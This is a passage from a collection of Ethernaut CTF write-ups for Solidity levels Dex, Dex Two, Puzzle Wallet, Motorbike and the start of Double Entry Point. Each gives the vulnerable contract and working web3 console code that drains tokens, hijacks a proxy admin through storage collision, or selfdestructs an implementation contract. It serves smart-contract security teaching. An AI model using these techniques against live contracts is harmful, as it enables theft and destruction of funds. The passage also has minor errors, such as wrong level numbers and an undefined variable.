17 | import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
18 | import '@openzeppelin/contracts/math/SafeMath.sol';
19 |
20 | contract Dex {
21 | using SafeMath for uint;
22 | address public token1;
23 | address public token2;
24 | constructor(address _token1, address _token2) public {
25 | token1 = _token1;
26 | token2 = _token2;
27 | }
28 |
29 | function swap(address from, address to, uint amount) public {
30 | require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
31 | require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
32 | uint swap_amount = get_swap_price(from, to, amount);
33 | IERC20(from).transferFrom(msg.sender, address(this), amount);
34 | IERC20(to).approve(address(this), swap_amount);
35 | IERC20(to).transferFrom(address(this), msg.sender, swap_amount);
36 | }
37 |
38 | function add_liquidity(address token_address, uint amount) public{
39 | IERC20(token_address).transferFrom(msg.sender, address(this), amount);
40 | }
41 |
42 | function get_swap_price(address from, address to, uint amount) public view returns(uint){
43 | return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
44 | }
45 |
46 | function approve(address spender, uint amount) public {
47 | SwappableToken(token1).approve(spender, amount);
48 | SwappableToken(token2).approve(spender, amount);
49 | }
50 |
51 | function balanceOf(address token, address account) public view returns (uint){
52 | return IERC20(token).balanceOf(account);
53 | }
54 | }
55 |
56 | contract SwappableToken is ERC20 {
57 | constructor(string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
58 | _mint(msg.sender, initialSupply);
59 | }
60 | }
61 | ```
62 |
63 | `player` has to drain all of at least one of the two tokens - `token1` and `token2` from the contract.
64 |
65 | The vulnerability originates from `get_swap_price` method which determines the exchange rate between tokens in the Dex. The division in it won't always calculate to a perfect integer, but a fraction. And there is no fraction types in Solidity. Instead, _division rounds towards zero._ according to docs. For example, `3 / 2 = 1` in solidity.
66 |
67 | We're going to swap all of our `token1` for `token2`. Then swap all our `token2` to obtain `token1`, then swap all our `token1` for `token2` and so on.
68 |
69 | Here's how the price history & balances would go. Initially,
70 | ```
71 | DEX | player
72 | token1 - token2 | token1 - token2
73 | ----------------------------------
74 | 100 100 | 10 10
75 | ```
76 |
77 |
78 | After swapping all of `token1`:
79 | ```
80 | DEX | player
81 | token1 - token2 | token1 - token2
82 | ----------------------------------
83 | 100 100 | 10 10
84 | 110 90 | 0 20
85 | ```
86 |
87 | Note that at this point exchange rate is adjusted. Now, exchanging 20 `token2` should give `20 * 110 / 90 = 24.44..`. But since division results in integer we get 24 `token2`. Price adjusts again. Swap again.
88 | ```
89 | DEX | player
90 | token1 - token2 | token1 - token2
91 | ----------------------------------
92 | 100 100 | 10 10
93 | 110 90 | 0 20
94 | 86 110 | 24 0
95 | ```
96 |
97 | Notice that on each swap we get more of `token1` or `token2` than held before previous swap. This is due to the inaccuracy of price calculation in `get_swap_price` method.
98 |
99 | Keep swapping and we'll get:
100 | ```
101 | DEX | player
102 | token1 - token2 | token1 - token2
103 | ----------------------------------
104 | 100 100 | 10 10
105 | 110 90 | 0 20
106 | 86 110 | 24 0
107 | 110 80 | 0 30
108 | 69 110 | 41 0
109 | 110 45 | 0 65
110 | ```
111 |
112 | Now, at the last swap above we've gotten hold of 65 `token2`, which is more than enough to drain all of 110 `token1`! By simple calculation, only 45 of `token2` is required to get all 110 of `token1`.
113 |
114 | ```
115 | DEX | player
116 | token1 - token2 | token1 - token2
117 | ----------------------------------
118 | 100 100 | 10 10
119 | 110 90 | 0 20
120 | 86 110 | 24 0
121 | 110 80 | 0 30
122 | 69 110 | 41 0
123 | 110 45 | 0 65
124 | 0 90 | 110 20
125 | ```
126 |
127 | Jump into console. First approve the contract to transfer your tokens with a big enough allowance so that we don't have to approve again & again. Allowance of 500 should be more than enough:
128 | ```javascript
129 | await contract.approve(contract.address, 500)
130 | ```
131 | Get token addresses:
132 | ```javascript
133 | t1 = await contract.token1()
134 | t2 = await contract.token2()
135 | ```
136 |
137 | Now perform 7 swaps corresponding to the table rows above one by one:
138 | ```javascript
139 | await contract.swap(t1, t2, 10)
140 | await contract.swap(t2, t1, 20)
141 | await contract.swap(t1, t2, 24)
142 | await contract.swap(t2, t1, 30)
143 | await contract.swap(t1, t2, 41)
144 | await contract.swap(t2, t1, 45)
145 | ```
146 |
147 | `token1` is drained! Verify by:
148 | ```javascript
149 | await contract.balanceOf(t1, instance).then(v => v.toString())
150 |
151 | // Output: '0'
152 | ```
153 | This is it!
154 |
155 |
156 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄
157 |
158 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏
159 |
160 |
--------------------------------------------------------------------------------
/level_23_Dex-Two.md:
--------------------------------------------------------------------------------
1 | # Level 23: Dex
2 |
3 | This is the level 23 of OpenZeppelin [Ethernaut](https://ethernaut.openzeppelin.com/) web3/solidity based game.
4 |
5 | ## Pre-requisites
6 | - [ERC20 Token Standard](https://eips.ethereum.org/EIPS/eip-20)
7 |
8 | ## Hack
9 |
10 | Given contract:
11 | ```solidity
12 | contract DexTwo {
13 | using SafeMath for uint;
14 | address public token1;
15 | address public token2;
16 | constructor(address _token1, address _token2) public {
17 | token1 = _token1;
18 | token2 = _token2;
19 | }
20 |
21 | function swap(address from, address to, uint amount) public {
22 | require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
23 | uint swap_amount = get_swap_amount(from, to, amount);
24 | IERC20(from).transferFrom(msg.sender, address(this), amount);
25 | IERC20(to).approve(address(this), swap_amount);
26 | IERC20(to).transferFrom(address(this), msg.sender, swap_amount);
27 | }
28 |
29 | function add_liquidity(address token_address, uint amount) public{
30 | IERC20(token_address).transferFrom(msg.sender, address(this), amount);
31 | }
32 |
33 | function get_swap_amount(address from, address to, uint amount) public view returns(uint){
34 | return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
35 | }
36 |
37 | function approve(address spender, uint amount) public {
38 | SwappableTokenTwo(token1).approve(spender, amount);
39 | SwappableTokenTwo(token2).approve(spender, amount);
40 | }
41 |
42 | function balanceOf(address token, address account) public view returns (uint){
43 | return IERC20(token).balanceOf(account);
44 | }
45 | }
46 |
47 | contract SwappableTokenTwo is ERC20 {
48 | constructor(string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
49 | _mint(msg.sender, initialSupply);
50 | }
51 | }
52 | ```
53 |
54 | `player` has to drain all of `token1` and `token2`.
55 |
56 | The vulnerability here arises from `swap` method which does not check that the swap is necessarily between `token1` and `token2`. We'll exploit this.
57 |
58 | Let's deploy a token - `EvilToken` in Remix, with initial supply of 400, all given to `msg.sender` which would be the `player`:
59 | ```solidity
60 | // SPDX-License-Identifier: MIT
61 | pragma solidity ^0.8.0;
62 |
63 | import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
64 |
65 | contract EvilToken is ERC20 {
66 | constructor(uint256 initialSupply) ERC20("EvilToken", "EVL") {
67 | _mint(msg.sender, initialSupply);
68 | }
69 | }
70 | ```
71 | We're going to exchange `EVL` token for `token1` and `token2` in such a way to drain both from `DexTwo`. Initially both `token1` and `token2` is 100. Let's send 100 of `EVL` to `DexTwo` using `EvilToken`'s `transfer`. So, that price ratio in `DexTwo` between `EVL` and `token1` is 1:1. Same ratio goes for `token2`.
72 |
73 | Also, allow `DexTwo` to transact 300 (100 for `token1` and 200 for `token2` exchange) of our `EVL` tokens so that it can swap `EVL` tokens. This can be done by `approve` method of `EvilToken`, passing `contract.address` and `200` as params.
74 |
75 | Alright at this point `DexTwo` has 100 of each - `token1`, `token2` and `EVL`. And `player` has 300 of `EVL`.
76 | ```
77 | DEX | player
78 | token1 - token2 - EVL | token1 - token2 - EVL
79 | ---------------------------------------------
80 | 100 100 100 | 10 10 300
81 | ```
82 |
83 | Get token addresses:
84 | ```javascript
85 | evlToken = ''
86 | t1 = await contract.token1()
87 | t2 = await contract.token2()
88 | ```
89 |
90 | Swap 100 of `player`'s `EVL` with `token1`:
91 | ```javascript
92 | await contract.swap(evlToken, t1, 100)
93 | ```
94 |
95 | This would drain all of `token1` from `DexTwo`. Verify by:
96 | ```javascript
97 | await contract.balanceOf(t1, instance).then(v => v.toString())
98 |
99 | // Output: '0'
100 | ```
101 |
102 | Updated balances:
103 | ```
104 | DEX | player
105 | token1 - token2 - EVL | token1 - token2 - EVL
106 | ---------------------------------------------
107 | 100 100 100 | 10 10 300
108 | 0 100 200 | 110 10 200
109 | ```
110 |
111 | Now, according to `get_swap_amount` method, to get all 100 of `token2` in exchange we need 200 of `EVL`. Swap accordingly:
112 | ```javascript
113 | await contract.swap(evlToken, t2, 200)
114 | ```
115 |
116 | And `token2` is drained too! Verify by:
117 | ```javascript
118 | await contract.balanceOf(t2, instance).then(v => v.toString())
119 |
120 | // Output: '0'
121 | ```
122 |
123 | Finally:
124 | ```
125 | DEX | player
126 | token1 - token2 - EVL | token1 - token2 - EVL
127 | ---------------------------------------------
128 | 100 100 100 | 10 10 300
129 | 0 100 200 | 110 10 200
130 | 0 0 400 | 110 110 0
131 | ```
132 |
133 |
134 | Level passed!
135 |
136 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄
137 |
138 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏
139 |
140 |
--------------------------------------------------------------------------------
/level_24_Puzzle-Wallet.md:
--------------------------------------------------------------------------------
1 | # Level 24: Puzzle Wallet
2 |
3 | This is the level 24 of OpenZeppelin [Ethernaut](https://ethernaut.openzeppelin.com/) web3/solidity based game.
4 |
5 | ## Pre-requisites
6 | - [delegatecall](https://eip2535diamonds.substack.com/p/understanding-delegatecall-and-how) in Solidity
7 | - [Proxy Patterns](https://blog.openzeppelin.com/proxy-patterns/)
8 |
9 | ## Hack
10 |
11 | Given contracts:
12 | ```solidity
13 | // SPDX-License-Identifier: MIT
14 | pragma solidity ^0.6.0;
15 | pragma experimental ABIEncoderV2;
16 |
17 | import "@openzeppelin/contracts/math/SafeMath.sol";
18 | import "@openzeppelin/contracts/proxy/UpgradeableProxy.sol";
19 |
20 | contract PuzzleProxy is UpgradeableProxy {
21 | address public pendingAdmin;
22 | address public admin;
23 |
24 | constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) public {
25 | admin = _admin;
26 | }
27 |
28 | modifier onlyAdmin {
29 | require(msg.sender == admin, "Caller is not the admin");
30 | _;
31 | }
32 |
33 | function proposeNewAdmin(address _newAdmin) external {
34 | pendingAdmin = _newAdmin;
35 | }
36 |
37 | function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
38 | require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
39 | admin = pendingAdmin;
40 | }
41 |
42 | function upgradeTo(address _newImplementation) external onlyAdmin {
43 | _upgradeTo(_newImplementation);
44 | }
45 | }
46 |
47 | contract PuzzleWallet {
48 | using SafeMath for uint256;
49 | address public owner;
50 | uint256 public maxBalance;
51 | mapping(address => bool) public whitelisted;
52 | mapping(address => uint256) public balances;
53 |
54 | function init(uint256 _maxBalance) public {
55 | require(maxBalance == 0, "Already initialized");
56 | maxBalance = _maxBalance;
57 | owner = msg.sender;
58 | }
59 |
60 | modifier onlyWhitelisted {
61 | require(whitelisted[msg.sender], "Not whitelisted");
62 | _;
63 | }
64 |
65 | function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
66 | require(address(this).balance == 0, "Contract balance is not 0");
67 | maxBalance = _maxBalance;
68 | }
69 |
70 | function addToWhitelist(address addr) external {
71 | require(msg.sender == owner, "Not the owner");
72 | whitelisted[addr] = true;
73 | }
74 |
75 | function deposit() external payable onlyWhitelisted {
76 | require(address(this).balance <= maxBalance, "Max balance reached");
77 | balances[msg.sender] = balances[msg.sender].add(msg.value);
78 | }
79 |
80 | function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
81 | require(balances[msg.sender] >= value, "Insufficient balance");
82 | balances[msg.sender] = balances[msg.sender].sub(value);
83 | (bool success, ) = to.call{ value: value }(data);
84 | require(success, "Execution failed");
85 | }
86 |
87 | function multicall(bytes[] calldata data) external payable onlyWhitelisted {
88 | bool depositCalled = false;
89 | for (uint256 i = 0; i < data.length; i++) {
90 | bytes memory _data = data[i];
91 | bytes4 selector;
92 | assembly {
93 | selector := mload(add(_data, 32))
94 | }
95 | if (selector == this.deposit.selector) {
96 | require(!depositCalled, "Deposit can only be called once");
97 | // Protect against reusing msg.value
98 | depositCalled = true;
99 | }
100 | (bool success, ) = address(this).delegatecall(data[i]);
101 | require(success, "Error while delegating call");
102 | }
103 | }
104 | }
105 | ```
106 | `player` has to hijack the proxy contract, `PuzzleProxy` by becoming `admin`.
107 |
108 | The vulnerability here arises due to **storage collision** between the proxy contract (`PuzzleProxy`) and logic contract (`PuzzleWallet`). And storage collision is a nightmare when using `delegatecall`. Let's bring this nightmare to reality.
109 |
110 | Note that in proxy pattern any call/transaction sent does not directly go to the logic contract (`PuzzleWallet` here), but it is actually **delegated** to logic contract inside proxy contract (`PuzzleProxy` here) through `delegatecall` method.
111 |
112 | Since, `delegatecall` is context preserving, the context is taken from `PuzzleProxy`. Meaning, any state read or write in storage would happen in `PuzzleProxy` at a corresponding slot, instead of `PuzzleWallet`.
113 |
114 | Compare the storage variables at slots:
115 | ```
116 | slot | PuzzleWallet - PuzzleProxy
117 | ----------------------------------
118 | 0 | owner <- pendingAdmin
119 | 1 | maxBalance <- admin
120 | 2 | .
121 | 3 | .
122 | ```
123 | Accordingly, any write to `pendingAdmin` in `PuzzleProxy` would be reflected by `owner` in `PuzzleWallet` because they are at same storage slot, 0!
124 |
125 | And that means if we set `pendingAdmin` to `player` in `PuzzleProxy` (through `proposeNewAdmin` method), `player` is automatically `owner` in `PuzzleWallet`! That's exactly what we'll do. Although `contract` instance provided `web3js` API, doesn't expose the `proposeNewAdmin` method, we can alway encode signature of function call and send transaction to the contract:
126 |
127 | ```javascript
128 | functionSignature = {
129 | name: 'proposeNewAdmin',
130 | type: 'function',
131 | inputs: [
132 | {
133 | type: 'address',
134 | name: '_newAdmin'
135 | }
136 | ]
137 | }
138 |
139 | params = [player]
140 |
141 | data = web3.eth.abi.encodeFunctionCall(functionSignature, params)
142 |
143 | await web3.eth.sendTransaction({from: player, to: instance, data})
144 | ```
145 | `player` is now `owner`. Verify by:
146 | ```javascript
147 | await contract.owner() === player
148 |
149 | // Output: true
150 | ```
151 |
152 | Now, since we're `owner` let's whitelist us, `player`:
153 | ```javascript
154 | await contract.addToWhitelist(player)
155 | ```
156 |
157 | Okay, so now `player` can call `onlyWhitelisted` guarded methods.
158 |
159 | Also, note from the storage slot table above that `admin` and `maxBalance` also correspond to same slot (slot 1). We can write to `admin` if in some way we can write to `maxBalance` the address of `player`.
160 |
161 | Two methods alter `maxBalance` - `init` and `setMaxBalance`. `init` shows no hope as it `require`s current `maxBalance` value to be zero. So, let's focus on `setMaxBalance`.
162 |
163 | `setMaxBalance` can only set new `maxBalance` only if the contract's balance is 0. Check balance:
164 | ```javascript
165 | await getBalance(contract.address)
166 |
167 | // Output: 0.001
168 | ```
169 | Bad luck! It's non-zero. Can we somehow take out the contract's balance? Only method that does so, is `execute`, but contract tracks each user's balance through `balances` such that you can only withdraw what you deposited. We need some way to crack the contract's accounting mechanism so that we can withdraw more than deposited and hence drain contract's balance.
170 |
171 | A possible way is to somehow call `deposit` with same `msg.value` _multiple_ times within the same transaction. Hmmm...the developers of this contract did write logic to batch multiple transactions into one transaction to save gas costs. And this is what `multicall` method is for. Maybe we can exploit it?
172 |
173 | But wait! `multicall` actually extracts function selector (which is first 4 bytes from signature) from the data and makes sure that `deposit` is called only once per transaction!
174 | ```solidity
175 | assembly {
176 | selector := mload(add(_data, 32))
177 | }
178 | if (selector == this.deposit.selector) {
179 | require(!depositCalled, "Deposit can only be called once");
180 | // Protect against reusing msg.value
181 | depositCalled = true;
182 | }
183 | ```
184 |
185 | We need another way. Think deeper...we can only call `deposit` only once in a `multicall`...but what if call a `multicall` that calls multiple `multicall`s and each of these `multicall`s call `deposit` once...aha! That'd be totally valid since each of these multiple `multicall`s will check their own separate `depositCalled` bools.
186 |
187 | The contract balance currently is `0.001 eth`. If we're able to call `deposit` two times through two `multicall`s in same transaction. The `balances[player]` would be registered from `0 eth` to `0.002 eth`, but in reality only `0.001 eth` will be actually sent! Hence total balance of contract is in reality `0.002 eth` but accounting in `balances` would think it's `0.003 eth`. Anyway, `player` is now eligible to take out `0.002 eth` from contract and drain it as a result. Let's begin.
188 |
189 | Here's our call _inception_ (calls within calls within call!)
190 | ```
191 | multicall
192 | |
193 | -----------------
194 | | |
195 | multicall multicall
196 | | |
197 | deposit deposit
198 |
199 | ```
200 | Get function call encodings:
201 | ```javascript
202 | // deposit() method
203 | depositData = await contract.methods["deposit()"].request().then(v => v.data)
204 |
205 | // multicall() method with param of deposit function call signature
206 | multicallData = await contract.methods["multicall(bytes[])"].request([depositData]).then(v => v.data)
207 | ```
208 |
209 | Now we call `multicall` which will call two `multicalls` and each of these two will call `deposit` once each. Send value of `0.001 eth` with transaction:
210 | ```javascript
211 | await contract.multicall([multicallData, multicallData], {value: toWei('0.001')})
212 | ```
213 |
214 | `player` balance now must be `0.001 eth * 2` i.e. `0.002 eth`. Which is equal to contract's total balance at this time.
215 |
216 | Withdraw same amount by `execute`:
217 | ```javascript
218 | await contract.execute(player, toWei('0.002'), 0x0)
219 | ```
220 |
221 | By now, contract's balance must be zero. Verify:
222 | ```javascript
223 | await getBalance(contract.address)
224 |
225 | // Output: '0'
226 | ```
227 |
228 | Finally we can call `setMaxBalance` to set `maxBalance` and as a consequence of storage collision, set admin to `player`:
229 | ```javascript
230 | await contract.setMaxBalance(player)
231 | ```
232 |
233 | Bang! Wallet is hijacked!
234 |
235 |
236 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄
237 |
238 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏
239 |
240 |
--------------------------------------------------------------------------------
/level_25_Motorbike.md:
--------------------------------------------------------------------------------
1 | # Level 25: Motorbike
2 |
3 | This is the level 24 of OpenZeppelin [Ethernaut](https://ethernaut.openzeppelin.com/) web3/solidity based game.
4 |
5 | ## Pre-requisites
6 | - [delegatecall](https://eip2535diamonds.substack.com/p/understanding-delegatecall-and-how) in Solidity
7 | - [selfdestruct](https://docs.soliditylang.org/en/v0.6.0/units-and-global-variables.html#contract-related) function in Solidity
8 | - [Proxy Patterns](https://blog.openzeppelin.com/proxy-patterns/)
9 | - [UUPS Proxies](https://forum.openzeppelin.com/t/uups-proxies-tutorial-solidity-javascript/7786)
10 | - [OpenZeppelin Proxies](https://docs.openzeppelin.com/contracts/4.x/api/proxy)
11 | - [Initializable](https://github.com/OpenZeppelin/openzeppelin-upgrades/blob/master/packages/core/contracts/Initializable.sol) contract
12 |
13 | ## Hack
14 |
15 | Given contracts:
16 | ```solidity
17 |
18 | // SPDX-License-Identifier: MIT
19 |
20 | pragma solidity <0.7.0;
21 |
22 | import "@openzeppelin/contracts/utils/Address.sol";
23 | import "@openzeppelin/contracts/proxy/Initializable.sol";
24 |
25 | contract Motorbike {
26 | // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
27 | bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
28 |
29 | struct AddressSlot {
30 | address value;
31 | }
32 |
33 | // Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
34 | constructor(address _logic) public {
35 | require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
36 | _getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
37 | (bool success,) = _logic.delegatecall(
38 | abi.encodeWithSignature("initialize()")
39 | );
40 | require(success, "Call failed");
41 | }
42 |
43 | // Delegates the current call to `implementation`.
44 | function _delegate(address implementation) internal virtual {
45 | // solhint-disable-next-line no-inline-assembly
46 | assembly {
47 | calldatacopy(0, 0, calldatasize())
48 | let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
49 | returndatacopy(0, 0, returndatasize())
50 | switch result
51 | case 0 { revert(0, returndatasize()) }
52 | default { return(0, returndatasize()) }
53 | }
54 | }
55 |
56 | // Fallback function that delegates calls to the address returned by `_implementation()`.
57 | // Will run if no other function in the contract matches the call data
58 | fallback () external payable virtual {
59 | _delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
60 | }
61 |
62 | // Returns an `AddressSlot` with member `value` located at `slot`.
63 | function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
64 | assembly {
65 | r_slot := slot
66 | }
67 | }
68 | }
69 |
70 | contract Engine is Initializable {
71 | // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
72 | bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
73 |
74 | address public upgrader;
75 | uint256 public horsePower;
76 |
77 | struct AddressSlot {
78 | address value;
79 | }
80 |
81 | function initialize() external initializer {
82 | horsePower = 1000;
83 | upgrader = msg.sender;
84 | }
85 |
86 | // Upgrade the implementation of the proxy to `newImplementation`
87 | // subsequently execute the function call
88 | function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
89 | _authorizeUpgrade();
90 | _upgradeToAndCall(newImplementation, data);
91 | }
92 |
93 | // Restrict to upgrader role
94 | function _authorizeUpgrade() internal view {
95 | require(msg.sender == upgrader, "Can't upgrade");
96 | }
97 |
98 | // Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
99 | function _upgradeToAndCall(
100 | address newImplementation,
101 | bytes memory data
102 | ) internal {
103 | // Initial upgrade and setup call
104 | _setImplementation(newImplementation);
105 | if (data.length > 0) {
106 | (bool success,) = newImplementation.delegatecall(data);
107 | require(success, "Call failed");
108 | }
109 | }
110 |
111 | // Stores a new address in the EIP1967 implementation slot.
112 | function _setImplementation(address newImplementation) private {
113 | require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
114 |
115 | AddressSlot storage r;
116 | assembly {
117 | r_slot := _IMPLEMENTATION_SLOT
118 | }
119 | r.value = newImplementation;
120 | }
121 | }
122 | ```
123 |
124 | `player` has to make the proxy (`Motorbike`) unusable by destroying the implementation/logic contract (`Engine`) through `selfdestruct`.
125 |
126 | As you can see current `Engine` implementation has no `selfdestruct` logic anywhere. So, we can't call `selfdestruct` with current implementation anyway. But, since it is a logic/implementation contract of proxy pattern, it can be upgraded to a new contract that has the `selfdestruct` in it.
127 |
128 | `upgradeToAndCall` method is at our disposal for upgrading to a new contract address, but it has an authorization check such that only the `upgrader` address can call it. So, `player` has to somehow take over as `upgrader`.
129 |
130 | The key thing to keep in mind here is that any storage variables defined in the logic contract i.e. `Engine` is actually stored in the proxy's (`Motorbike`'s) storage and not actually `Engine`. Proxy is the storage layer here which delegates _only_ the logic to logic/implementation contract (logic layer).
131 |
132 | What if we did try to write and read in the context of `Engine` directly, instead of going through proxy? We'll need address of `Engine` first. This address is at storage slot `_IMPLEMENTATION_SLOT` of `Motorbike`. Let's read it:
133 |
134 | ```javascript
135 | implAddr = await web3.eth.getStorageAt(contract.address, '0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc')
136 |
137 | // Output: '0x000000000000000000000000<20-byte-implementation-contract-address>'
138 | ```
139 | This yields a 32 byte value (each slot is 32 byte). Remove padding of `0`s to get 20 byte `address`:
140 | ```javascript
141 | implAddr = '0x' + implAddr.slice(-40)
142 |
143 | // Output: '0x<20-byte-implementation-contract-address>'
144 | ```
145 |
146 | Now, if we sent a transaction directly to `initialize` of `Engine` rather than going through proxy, the code will run in `Engine`'s context rather than proxy's. That means the storage variables - `initialized`, `initializing` (inherited from `Initializable`), `upgrader` etc. will be read from `Engine`'s storage slots. And these variables will most likely will contain their default values - `false`, `false`, `0x0` respectively because `Engine` was supposed to be only the logic layer, not storage.
147 | And since `initialized` will be equal to `false` (default for `bool`) in context of `Engine` the `initializer` modifier on `initialize` method will pass!
148 |
149 | Call the `initialize` at `Engine`'s address i.e. at `implAddr`:
150 | ```javascript
151 | initializeData = web3.eth.abi.encodeFunctionSignature("initialize()")
152 |
153 | await web3.eth.sendTransaction({ from: player, to: implAddr, data: initializeData })
154 | ```
155 |
156 | Alright, invoking `initialize` method must've now set `player` as `upgrader`. Verify by:
157 | ```javascript
158 | upgraderData = web3.eth.abi.encodeFunctionSignature("upgrader()")
159 |
160 | await web3.eth.call({from: player, to: implAddr, data: upgraderSig}).then(v => '0x' + v.slice(-40).toLowerCase()) === player.toLowerCase()
161 |
162 | // Output: true
163 | ```
164 |
165 | So, `player` is now eligible to upgrade the implementation contract now through `upgradeToAndCall` method. Let's create the following malicious contract - `BombEngine` in Remix:
166 | ```solidity
167 | // SPDX-License-Identifier: MIT
168 | pragma solidity <0.7.0;
169 |
170 | contract BombEngine {
171 | function explode() public {
172 | selfdestruct(address(0));
173 | }
174 | }
175 | ```
176 | Deploy `BombEngine` (on same network) and copy it's address.
177 |
178 | If we set the new implementation through `upgradeToAndCall`, passing `BombEngine` address and encoding of it's `explode` method as params, the existing `Engine` would destroy itself. This is because `_upgradeToAndCall` delegates a call to the given new implementation address with provided `data` param. And since `delegatecall` is context preserving, the `selfdestruct` of `explode` method would run in context of `Engine`. Thus `Engine` is destroyed.
179 |
180 | Upgrade `Engine` to `BombEngine`. First set up function data of `upgradeToAndCall` to call at `implAddress`:
181 | ```javascript
182 | bombAddr = ''
183 | explodeData = web3.eth.abi.encodeFunctionSignature("explode()")
184 |
185 | upgradeSignature = {
186 | name: 'upgradeToAndCall',
187 | type: 'function',
188 | inputs: [
189 | {
190 | type: 'address',
191 | name: 'newImplementation'
192 | },
193 | {
194 | type: 'bytes',
195 | name: 'data'
196 | }
197 | ]
198 | }
199 |
200 | upgradeParams = [bombAddr, explodeData]
201 |
202 | upgradeData = web3.eth.abi.encodeFunctionCall(upgradeSignature, upgradeParams)
203 | ```
204 |
205 | Now call `upgradeToAndCall` at `implAddr`:
206 | ```javascript
207 | await web3.eth.sendTransaction({from: player, to: implAddr, data: upgradeData})
208 | ```
209 |
210 | Boom! The `Engine` is destroyed! The `Motorbike` is now useless. `Motorbike` cannot even be repaired now because all the upgrade logic was in the logic contract which is now destroyed.
211 |
212 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄
213 |
214 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏
215 |
216 |
--------------------------------------------------------------------------------
/level_26_Double-Entry-Point.md:
--------------------------------------------------------------------------------
1 | # Level 26: Double Entry Point
2 |
3 | This is the level 26 of OpenZeppelin [Ethernaut](https://ethernaut.openzeppelin.com/) web3/solidity based game.
4 |
5 | ## Pre-requisites
6 | - [Contract ABI Specification](https://docs.soliditylang.org/en/latest/abi-spec.html#contract-abi-specification)
7 |
8 | ## Hack
9 |
10 | Given contracts:
11 | ```solidity
12 | // SPDX-License-Identifier: MIT
13 | pragma solidity ^0.6.0;
14 |
15 | import "@openzeppelin/contracts/access/Ownable.sol";
16 | import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
17 |
18 | interface DelegateERC20 {
19 | function delegateTransfer(address to, uint256 value, address origSender) external returns (bool);
20 | }
21 |
22 | interface IDetectionBot {
23 | function handleTransaction(address user, bytes calldata msgData) external;
24 | }
25 |
26 | interface IForta {
27 | function setDetectionBot(address detectionBotAddress) external;
28 | function notify(address user, bytes calldata msgData) external;
29 | function raiseAlert(address user) external;
30 | }
31 |
32 | contract Forta is IForta {
33 | mapping(address => IDetectionBot) public usersDetectionBots;
34 | mapping(address => uint256) public botRaisedAlerts;
35 |
36 | function setDetectionBot(address detectionBotAddress) external override {
37 | require(address(usersDetectionBots[msg.sender]) == address(0), "DetectionBot already set");
38 | usersDetectionBots[msg.sender] = IDetectionBot(detectionBotAddress);
39 | }
40 |
41 | function notify(address user, bytes calldata msgData) external override {
42 | if(address(usersDetectionBots[user]) == address(0)) return;
43 | try usersDetectionBots[user].handleTransaction(user, msgData) {
44 | return;
45 | } catch {}
46 | }
47 |
48 | function raiseAlert(address user) external override {
49 | if(address(usersDetectionBots[user]) != msg.sender) return;
50 | botRaisedAlerts[msg.sender] += 1;
51 | }
52 | }
53 |
54 | contract CryptoVault {
55 | address public sweptTokensRecipient;
56 | IERC20 public underlying;
57 |
58 | constructor(address recipient) public {
59 | sweptTokensRecipient = recipient;
60 | }
61 |
62 | function setUnderlying(address latestToken) public {
63 | require(address(underlying) == address(0), "Already set");
64 | underlying = IERC20(latestToken);
65 | }
66 |
67 | /*
68 | ...
69 | */
70 |
71 | function sweepToken(IERC20 token) public {
72 | require(token != underlying, "Can't transfer underlying token");
73 | token.transfer(sweptTokensRecipient, token.balanceOf(address(this)));
74 | }
75 | }
76 |
77 | contract LegacyToken is ERC20("LegacyToken", "LGT"), Ownable {
78 | DelegateERC20 public delegate;
79 |
80 | function mint(address to, uint256 amount) public onlyOwner {
81 | _mint(to, amount);
82 | }
83 |
84 | function delegateToNewContract(DelegateERC20 newContract) public onlyOwner {
85 | delegate = newContract;
86 | }
87 |
88 | function transfer(address to, uint256 value) public override returns (bool) {
89 | if (address(delegate) == address(0)) {
90 | return super.transfer(to, value);
91 | } else {
92 | return delegate.delegateTransfer(to, value, msg.sender);
93 | }
94 | }
95 | }
96 |
97 | contract DoubleEntryPoint is ERC20("DoubleEntryPointToken", "DET"), DelegateERC20, Ownable {
98 | address public cryptoVault;
99 | address public player;
100 | address public delegatedFrom;
101 | Forta public forta;
102 |
103 | constructor(address legacyToken, address vaultAddress, address fortaAddress, address playerAddress) public {
